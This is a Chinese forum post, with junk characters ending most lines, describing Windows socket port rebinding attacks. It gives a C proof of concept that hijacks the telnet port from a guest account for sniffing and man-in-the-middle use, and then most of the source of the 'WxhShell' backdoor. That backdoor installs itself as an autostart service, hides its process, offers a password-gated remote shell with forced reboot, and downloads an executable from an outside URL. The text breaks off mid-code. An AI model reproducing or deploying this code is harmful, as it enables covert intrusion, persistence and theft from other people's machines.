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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qpluk!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JrY"J]/  
9{au leu R  
  saddr.sin_family = AF_INET; BiVd ka  
=e"H1^Ml  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AT2NC6{M  
8 /:X& &  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mBYS"[S(  
{s9y@c*15.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 : OS mr  
Dx9$H++6$X  
  这意味着什么?意味着可以进行如下的攻击: >FK)p   
,Y78Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w*|=k~z  
sDz)_;;%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r4]hS`X~%  
mtiO7w"M\7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ymzPJ??!  
<z~2d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HYa$EE2  
C*Y :w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _47j9m]f  
r"Hbr Qn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8u7K$Q  
gPA>*;?E;@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v@}1WGY  
>" PqQO  
  #include '@3a,pl  
  #include ?=pZmvQg  
  #include 1{;[q3a  
  #include    C[Y%=\6'0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \4]zNV ~x  
  int main() I_jM-/3b  
  { mmpr]cT@'k  
  WORD wVersionRequested; hIE%-gZ/  
  DWORD ret; $?CBX27AV  
  WSADATA wsaData; qr<-eJf  
  BOOL val; UH1S_:6  
  SOCKADDR_IN saddr; ;r0|_mnf  
  SOCKADDR_IN scaddr; 0|K/=dh5+  
  int err; \E ? iw.}  
  SOCKET s; C7XS6Nqu  
  SOCKET sc; !#_h2a  
  int caddsize; R-2FNl  
  HANDLE mt; ,YAPCj  
  DWORD tid;   hPEp0("  
  wVersionRequested = MAKEWORD( 2, 2 ); <IHFD^3|j  
  err = WSAStartup( wVersionRequested, &wsaData ); i+qLc6|S=2  
  if ( err != 0 ) { 1DI"LIL  
  printf("error!WSAStartup failed!\n"); R9|2&pfm(M  
  return -1; 1OfSq1G>v$  
  } c:`` Y:  
  saddr.sin_family = AF_INET; FBwncG$]F*  
   b}}1TnS)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O[5_ 9W 4  
 '!r+Tz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Wzf1-0t  
  saddr.sin_port = htons(23); jU3;jm.)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GWA!Ab'<U  
  { I!soV0V U]  
  printf("error!socket failed!\n"); + 8K1]'t$  
  return -1; fW4cHB 9|  
  } 6iV"Tl{z-  
  val = TRUE; 95gsv\2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "JQt#[9l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &[2Ej|o  
  { #)h ~.D{  
  printf("error!setsockopt failed!\n"); =|WV^0=S'%  
  return -1; Fv7%TK{oe  
  } H-\ {w    
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -'p@ lk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +=B}R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A 4W  
!7"K>m<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5qtmb4R~  
  { EV?47\ ~  
  ret=GetLastError(); d;NFkA(df  
  printf("error!bind failed!\n"); R6WgA@Z|r  
  return -1; ah!O&ECh  
  }   L@k;L  
  listen(s,2); *|,ykb>  
  while(1) UmD-7Fd  
  { %&=(,;d  
  caddsize = sizeof(scaddr); ?3"D| cS1  
  //接受连接请求 gA 6h5F)_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k vgs $  
  if(sc!=INVALID_SOCKET) Y +_5"LV  
  { fj t_9-.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^]lwd"$  
  if(mt==NULL) 1N$gE  
  { ]Re~V{uh  
  printf("Thread Creat Failed!\n"); b]g&rwXYt  
  break; t+4Y3*WeGF  
  } (HrkUkw  
  } f;tyoN0wHx  
  CloseHandle(mt); mTuB*  
  } 5c}9  
  closesocket(s); : ! iPn%  
  WSACleanup(); >*t>U8  
  return 0; <K=B(-~  
  }   /@nRL  
  DWORD WINAPI ClientThread(LPVOID lpParam) c%LB|(@j{  
  { g<T`F  
  SOCKET ss = (SOCKET)lpParam; 4{pemqS*  
  SOCKET sc; Vg,>7?]6h  
  unsigned char buf[4096]; ,<P[CUD&&  
  SOCKADDR_IN saddr; g=YiR/O1QN  
  long num; zyp"*0zUr  
  DWORD val; W6xjqNU  
  DWORD ret; #L IsL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _9-D3_P[3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =u3@ Dhw  
  saddr.sin_family = AF_INET; 4wj|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hp z*jyh8  
  saddr.sin_port = htons(23); ^3)2]>pW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yDkDtO`K  
  { 61rh\<bn  
  printf("error!socket failed!\n"); *"QE1Fum'  
  return -1; lKhh=Pc2  
  } $@qs(Xwr  
  val = 100; <sCq x/L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !E:Vn *k;  
  { %Rsf6rJ  
  ret = GetLastError(); =Wy`X0h  
  return -1; .iN*V|n  
  } J_[[BJ&}x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nM.?Q}yO~  
  { Nj-rZ%&  
  ret = GetLastError(); B%g:Z  
  return -1; Nb!6YY=Ez-  
  } eZod}~J8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ocuVDC  
  { UrcN?  
  printf("error!socket connect failed!\n"); !>2\OSp!  
  closesocket(sc); @Rb1)$~#  
  closesocket(ss); //u76nQ  
  return -1; ;{q) |GRF  
  } q>:&xR"ra  
  while(1) Ee\-q  
  { )4_6\VaM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 //5_E7Ehu$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w$;*~Qc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ufe  
  num = recv(ss,buf,4096,0); :9 iOuu  
  if(num>0) +ZA\ M:^b  
  send(sc,buf,num,0); 6BN(^y#-X  
  else if(num==0) vgW1hWmHJ  
  break; Cz);mOb%M%  
  num = recv(sc,buf,4096,0); 4Z~Dxo  
  if(num>0) OZ14-}Lr5  
  send(ss,buf,num,0); U>-#('  
  else if(num==0) ;ld~21#m  
  break; 2[&-y[1  
  } I;Fy k70w;  
  closesocket(ss); / >. X+N  
  closesocket(sc); D:vUy*  
  return 0 ; I nK)O ';  
  } V\`= "  
3pv1L~ ZI  
jzA8f+:q  
========================================================== r\ Yur  
 wY_-  
下边附上一个代码,,WXhSHELL G{Enh<V  
c2mt<DtWW  
========================================================== Ru')X{]25  
,Ve@=<  
#include "stdafx.h" <$6'Mzf  
{BCj VmY  
#include <stdio.h> j"sO<Q{6%  
#include <string.h> N5Mz=UgB  
#include <windows.h> JIKxY$GS  
#include <winsock2.h> ZpctsCz]  
#include <winsvc.h> })SdaZ  
#include <urlmon.h> T_%]#M  
5 ^z ,'C  
#pragma comment (lib, "Ws2_32.lib") yj+b/9My   
#pragma comment (lib, "urlmon.lib") sfPN\^k2  
Q!e0Vb  
#define MAX_USER   100 // 最大客户端连接数 49fq6ZhO  
#define BUF_SOCK   200 // sock buffer <m:wuNEM  
#define KEY_BUFF   255 // 输入 buffer "jc)N46  
LbbQ3$@ WD  
#define REBOOT     0   // 重启 `DllW{l  
#define SHUTDOWN   1   // 关机 ~tuFjj^  
_";pk  _  
#define DEF_PORT   5000 // 监听端口 xy3%z  
vl~   
#define REG_LEN     16   // 注册表键长度 `srZ#F5  
#define SVC_LEN     80   // NT服务名长度 *>$)#?t  
&p4<@k\L  
// 从dll定义API KL"L65g&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G5f57F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _:p_#3s$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V"jnrNs3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s'Q^1oQM2h  
>b?)WNk  
// wxhshell配置信息 z ;Nk& <?  
struct WSCFG { jyH_/X5i7  
  int ws_port;         // 监听端口 K/+C6Y?  
  char ws_passstr[REG_LEN]; // 口令 10IPq#Jj  
  int ws_autoins;       // 安装标记, 1=yes 0=no [gp:nxyfQm  
  char ws_regname[REG_LEN]; // 注册表键名 Iw7r}G  
  char ws_svcname[REG_LEN]; // 服务名  ly%B!P|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i O|,,;_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BIf].RY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j$oZIV7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  A;x^6>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oz-I/g3go  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s;WCz  
ucPMT0k  
}; &it/@8yH  
,6Q-k4_  
// default Wxhshell configuration 9,eR=M]+:  
struct WSCFG wscfg={DEF_PORT, g9Gy3zk=  
    "xuhuanlingzhe", FN EmGz/4  
    1, %{abRBny  
    "Wxhshell", 'k Z1&_{  
    "Wxhshell", Ka\b_P&  
            "WxhShell Service", u*N8s[s'  
    "Wrsky Windows CmdShell Service", QXj(U&#rp  
    "Please Input Your Password: ", S5a<L_  
  1, qDd/wR,44  
  "http://www.wrsky.com/wxhshell.exe", fr2w k}/b  
  "Wxhshell.exe" (#M$t!'%  
    }; iZ\z!tHR  
-JK4-Hg  
// 消息定义模块 JHH&@Cn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n`Iy7X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fGWK&nONyk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T["(YFCByg  
char *msg_ws_ext="\n\rExit."; 7!nAWlQ&-E  
char *msg_ws_end="\n\rQuit."; Hvo27THLo  
char *msg_ws_boot="\n\rReboot..."; XO~^*[K  
char *msg_ws_poff="\n\rShutdown..."; ++"PPbOe&D  
char *msg_ws_down="\n\rSave to "; H H3  
>{Z=cv/6o  
char *msg_ws_err="\n\rErr!"; +qf{ '|H  
char *msg_ws_ok="\n\rOK!"; hO@3-SRa,k  
y<d#sv(s  
char ExeFile[MAX_PATH]; Asu"#sd  
int nUser = 0; Lo9?,^S  
HANDLE handles[MAX_USER]; P< x  
int OsIsNt; <U pjAuG8  
uwA3!5  
SERVICE_STATUS       serviceStatus; TN`:T.B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uI&M|u:nT  
xR`2+t&t  
// 函数声明 Uk\U*\.  
int Install(void); cSk}53  
int Uninstall(void); ", )  
int DownloadFile(char *sURL, SOCKET wsh); 5V bNWrw  
int Boot(int flag); i%8 sy  
void HideProc(void); :XZ pnjj  
int GetOsVer(void); :zRboqe(cc  
int Wxhshell(SOCKET wsl); uK5x[m  
void TalkWithClient(void *cs); oH"N>@Vl  
int CmdShell(SOCKET sock); F| Q#KwN  
int StartFromService(void); ^T,cXpx|  
int StartWxhshell(LPSTR lpCmdLine); I0RWdOK8K  
*$D-6}Oay  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y8z%s/gRh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &}1)]6q$  
L{p-'V  
// 数据结构和表定义 ht9b=1wd%s  
SERVICE_TABLE_ENTRY DispatchTable[] = +KNr1rG  
{ j3&*wU_  
{wscfg.ws_svcname, NTServiceMain}, j]&{ @Y  
{NULL, NULL} G].KJ5,y  
}; vrbh+  
e*H$c?7NL  
// 自我安装 }*.*{I  
int Install(void) _AYF'o-Cm  
{ >.\E'e5^C  
  char svExeFile[MAX_PATH]; PM7/fv*,  
  HKEY key; q|J]  
  strcpy(svExeFile,ExeFile); \/v$$1p2  
*Fws]y2t~  
// 如果是win9x系统,修改注册表设为自启动 sKO ;p  
if(!OsIsNt) { )zo ;r!eP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I#U44+c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j83 V$ Le  
  RegCloseKey(key); _@2G]JD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]EQ/*ct  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yk2j&}M  
  RegCloseKey(key); 3(5Y-.aK}^  
  return 0; 9<S-b |!@  
    } oVW?d]R  
  } mM.&c5U  
} p;Kr664  
else { qE{S'XyM,  
]XU#i#;c  
// 如果是NT以上系统,安装为系统服务 'zK*?= ^jk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i;Y^}2   
if (schSCManager!=0) 7i.aZ2a%  
{ sSUd;BYf  
  SC_HANDLE schService = CreateService (.o'1 '  
  ( W(YJz#]6_  
  schSCManager, Kq$1lPI  
  wscfg.ws_svcname, 7ZZt|bl  
  wscfg.ws_svcdisp, {wI0 =U  
  SERVICE_ALL_ACCESS, -S @:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Frr#t!(w0  
  SERVICE_AUTO_START, y e'5 A   
  SERVICE_ERROR_NORMAL, {'!~j!1'j  
  svExeFile, h# 8b#  
  NULL, 2|BE{91  
  NULL, -; }Wm[  
  NULL, ^ a:F*<D  
  NULL, kx[8#+P  
  NULL rej[G!  
  ); t ,$)PV  
  if (schService!=0) #SueT"F  
  { fp0Va!T(V  
  CloseServiceHandle(schService); 1~ Nz6  
  CloseServiceHandle(schSCManager); qv6]YPP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^iNR(cwgX  
  strcat(svExeFile,wscfg.ws_svcname); Yo:&\a K[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { > R=YF*t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {y'k wU  
  RegCloseKey(key); jLTs1`I/F  
  return 0; ?3#X5WT  
    } srL,9)O C  
  } xh0!H| R  
  CloseServiceHandle(schSCManager); uypD`%pC  
} AI2CfH#:C  
} V 6F,X`7  
}qTvUs  
return 1; $`%.Y&A  
} RS~oSoAE  
|UG)*t/  
// 自我卸载 T[~X~dqwn"  
int Uninstall(void) ^^#A9AM  
{ vs~*=d27Pf  
  HKEY key; Vs >1%$If  
i ^#R iCeo  
if(!OsIsNt) { J$0*K+m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?W()Do1tR  
  RegDeleteValue(key,wscfg.ws_regname); GfDA5v[  
  RegCloseKey(key); k4v[2y`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ',f[y:v;  
  RegDeleteValue(key,wscfg.ws_regname); c{~*\&  
  RegCloseKey(key); *"@P2F&  
  return 0; v&Kw 3!X#E  
  } eC?N>wHH  
} 2;/hFwm  
} 4y 'REC  
else { Go4l#6  
5zU$_M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o%:eYl  
if (schSCManager!=0) g:HIiGN0Ic  
{ OR3TRa XD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A.n1|Q#  
  if (schService!=0) Oaui@q  
  { y}A-o_u@cD  
  if(DeleteService(schService)!=0) { W8)GT`\  
  CloseServiceHandle(schService); f&:g{K  
  CloseServiceHandle(schSCManager); qp Z ".  
  return 0; eX\t]{\oC  
  } j.o)!S A  
  CloseServiceHandle(schService); 6*$N@>8&  
  } _wIAr  
  CloseServiceHandle(schSCManager); AWw'pgTQX  
} Lxl?6wZ  
} (U)=t$=o  
XIU2l}g  
return 1; 95}"AIi  
} &A~1Q#4  
n}2}4^  
// 从指定url下载文件 Rzp-Q5@M Y  
int DownloadFile(char *sURL, SOCKET wsh) p~t$ll0s  
{ rie1F,  
  HRESULT hr; \C#Vh7z"2&  
char seps[]= "/"; ]BA8[2=m  
char *token; '2NeuK-KD  
char *file; --FvE|I  
char myURL[MAX_PATH]; T"O!  
char myFILE[MAX_PATH]; '?\Hm'8  
xe d$z  
strcpy(myURL,sURL); @_;6 L  
  token=strtok(myURL,seps); }+z}vb  
  while(token!=NULL) fYwumx`J  
  { pcE.  
    file=token; gbvBgOp  
  token=strtok(NULL,seps); TWy1)30x  
  } il: ""x7^y  
N3,EF1%  
GetCurrentDirectory(MAX_PATH,myFILE); l! GPOmf9`  
strcat(myFILE, "\\"); &kP>qTI^p~  
strcat(myFILE, file);  M`bK   
  send(wsh,myFILE,strlen(myFILE),0); Ou/{PK}  
send(wsh,"...",3,0); uy$o%NL-7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H=0Y4 T@)T  
  if(hr==S_OK) [.2>=3T  
return 0; O?P6rXKr  
else f.!cR3XgV  
return 1; 74Lq!e3hMF  
h-<+Pjc  
} qu?D`29  
t JJaIb6Xj  
// 系统电源模块 5z0SjQ  
int Boot(int flag) dme_Ivt  
{ *h`zV<j  
  HANDLE hToken; ,$*$w<  
  TOKEN_PRIVILEGES tkp; 'E9\V\bi  
Q WOd&=:  
  if(OsIsNt) { G*ecM`Bl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =T[kGg8`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &TKB8vx=#  
    tkp.PrivilegeCount = 1; )F:hv[iv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K1Uur>Pk%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1g *4e  
if(flag==REBOOT) { J 9z\ qTI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bEM-^SR  
  return 0; h 9No'!'!  
} j#29L"  
else { gP`8hNwR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vuHqOAFNs  
  return 0; DEs/?JZG  
} ,2"-G";!f\  
  } k5((@[  
  else { 7Kfh:0Ihhy  
if(flag==REBOOT) { U\+o$mU^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9mr99 tA  
  return 0; }=NjFK_6  
} lV3\5AEW  
else { pbJs3uIR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z`lDD  
  return 0; [8<)^k  
} iJU]|t  
} O3Yv ->#  
XJGOX n$/  
return 1; 7Y:1ji0l  
} JBp^@j{_  
G>"w$Us  
// win9x进程隐藏模块 < f1Pj  
void HideProc(void) Y7 = *-  
{ Ig~lD>dnr'  
Or0=:?4`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  t;{/Q&C  
  if ( hKernel != NULL ) YeT[KjX  
  { phd,Jg[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5EM(3eY^q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s~,Ypo?  
    FreeLibrary(hKernel); Nw8lg*t"  
  } =j6f/8   
Dr&2q X!  
return; c5pF?kFaD  
} &0~E+ 9b  
8ex{N3  
// 获取操作系统版本 Iell`;  
int GetOsVer(void) K%O%#Kk  
{ A?=g!(wB  
  OSVERSIONINFO winfo; Ng2qu!F7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kU0e;r1N  
  GetVersionEx(&winfo); .hXxh)F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q YPsqkF*  
  return 1; Ap=L lZ  
  else uD_iyK0,  
  return 0; "1t%J7c_  
} m!V ?xGKJ  
d[J+):aW  
// 客户端句柄模块 xh,};TS(K  
int Wxhshell(SOCKET wsl) > T=($:n  
{ vdV@G`)HPr  
  SOCKET wsh; gh#9<  
  struct sockaddr_in client; xx_]e4  
  DWORD myID; g?qm >X  
1ve %xF  
  while(nUser<MAX_USER) HTA Jn_  
{ e<#t]V  
  int nSize=sizeof(client); 9 "7(Jq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l~.ae,|7  
  if(wsh==INVALID_SOCKET) return 1; W$=Ad *  
8HDYA$L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ( $A0b  
if(handles[nUser]==0) }KcvNK (  
  closesocket(wsh);  \9N1:  
else yHsmX2s  
  nUser++; ,3=|a|p  
  } },lHa!<^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8>%:MS"  
:Xq qhG  
  return 0; W1fEUVj  
} @@M 2s(  
JHC 6l  
// 关闭 socket 7.`Fe g.  
void CloseIt(SOCKET wsh) kr[p4X4  
{ .5 Sw  
closesocket(wsh); tNj-~r  
nUser--; mII7p LbQ  
ExitThread(0); `83s97Sa  
} d0vn/k2I  
~PAF2  
// 客户端请求句柄 2dg+R)%  
void TalkWithClient(void *cs) yhxen  
{ 0]p! Bscaf  
Q8OA{EUtq  
  SOCKET wsh=(SOCKET)cs; O/ Yz6VQ  
  char pwd[SVC_LEN]; TrD2:N}dI  
  char cmd[KEY_BUFF]; LX;w~fRr.  
char chr[1]; /P { Zo  
int i,j; ;;;aM:6\  
Q$u&/g3NvL  
  while (nUser < MAX_USER) { d nRbt{`jP  
5P'o+Vwz  
if(wscfg.ws_passstr) { ZFYv|2l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dp;;20z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RrB)u?  
  //ZeroMemory(pwd,KEY_BUFF); 4j+FDc`  
      i=0; $v5)d J  
  while(i<SVC_LEN) { OI/m_xx@j  
~xfoZiIA}  
  // 设置超时 =)QtE|p,77  
  fd_set FdRead; f"i(+:la  
  struct timeval TimeOut; <j\osw1R  
  FD_ZERO(&FdRead); su:~X d  
  FD_SET(wsh,&FdRead); B6qM0QW  
  TimeOut.tv_sec=8; _:"PBN9  
  TimeOut.tv_usec=0; : :?,ZA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9)2 kjBeb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /L|$* Xj  
H[oCI|k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DNTkv_S  
  pwd=chr[0]; pAK7V;sJ  
  if(chr[0]==0xd || chr[0]==0xa) { *S _[8L"  
  pwd=0; 9rD6."G  
  break; 3X|7 R  
  } j:k}6]p}  
  i++; 5~8FZ-x  
    } F/8="dM  
+ftOJFkI  
  // 如果是非法用户,关闭 socket Hg[g{A_G[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -!_\4  
} 1=o|[7  
`wGP31Y.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,^Ug[pGG-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q#gzk%jL@  
'2LK(uaU  
while(1) { 0 $Ygt0d  
"p Rr>Fa  
  ZeroMemory(cmd,KEY_BUFF); `3wzOMgJ  
 x&^>|'H  
      // 自动支持客户端 telnet标准   I7=g8/JD  
  j=0; MawWgd*  
  while(j<KEY_BUFF) { XHN*'@ 77;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nf%"7y{dd  
  cmd[j]=chr[0]; ,?k0~fuG6  
  if(chr[0]==0xa || chr[0]==0xd) { ioJ~k[T  
  cmd[j]=0; {:@MBA 34  
  break; @'5*u~M  
  } p*LG Y+  
  j++; l(Y U9dp  
    } [nYm-\M  
2D'b7zPJ3  
  // 下载文件 /Ko{S_3< I  
  if(strstr(cmd,"http://")) {  H8lh.K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T{A 5,85  
  if(DownloadFile(cmd,wsh)) 27"M]17)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$>ZGs#  
  else GF^)](xY+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E`A6GX  
  } =P}BAJ  
  else { !<EQVqj6  
pwIu;:O!?  
    switch(cmd[0]) { UgqfO(  
  QXaE2}}P  
  // 帮助 th :I31  
  case '?': { ~ k(4eRq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3AQu\4+A  
    break; a ](Jc)  
  } 1J{1>r  
  // 安装 GS*Mv{JJ  
  case 'i': { *m>XtBw.  
    if(Install()) jIvSjlmI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O,D/& 0  
    else \c1NIuJR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 178u4$# b  
    break; Uo<iZ3J  
    } DQ08dP((v  
  // 卸载  0m&  
  case 'r': { |Q|vCWel{  
    if(Uninstall()) h=x{ 3P;B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:`0:Ao.  
    else 4tGP- L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5eL_iNqJM  
    break; Qnr7Qnb  
    } VX'cFqrK3  
  // 显示 wxhshell 所在路径 NA/hs/ '  
  case 'p': { asj*/eC$/i  
    char svExeFile[MAX_PATH]; )ZHo7X  
    strcpy(svExeFile,"\n\r");  ?|$IZ9  
      strcat(svExeFile,ExeFile); `i"7; _HoV  
        send(wsh,svExeFile,strlen(svExeFile),0); ^q@6((O  
    break; bMCy=5  
    } ^Gt9.  
  // 重启 n !oxwA!  
  case 'b': { fGf C[DuY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \9Yc2$dY  
    if(Boot(REBOOT)) GEd JB=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/J|wM9Ak  
    else { h%=>iQ%enc  
    closesocket(wsh); jmkVolz  
    ExitThread(0); ~N!-4-~p  
    } J]"IT*-Ht  
    break; %~{G*%:  
    } 3W#f Fy  
  // 关机 ^1}Y=! &  
  case 'd': { *z3wm-z1&  
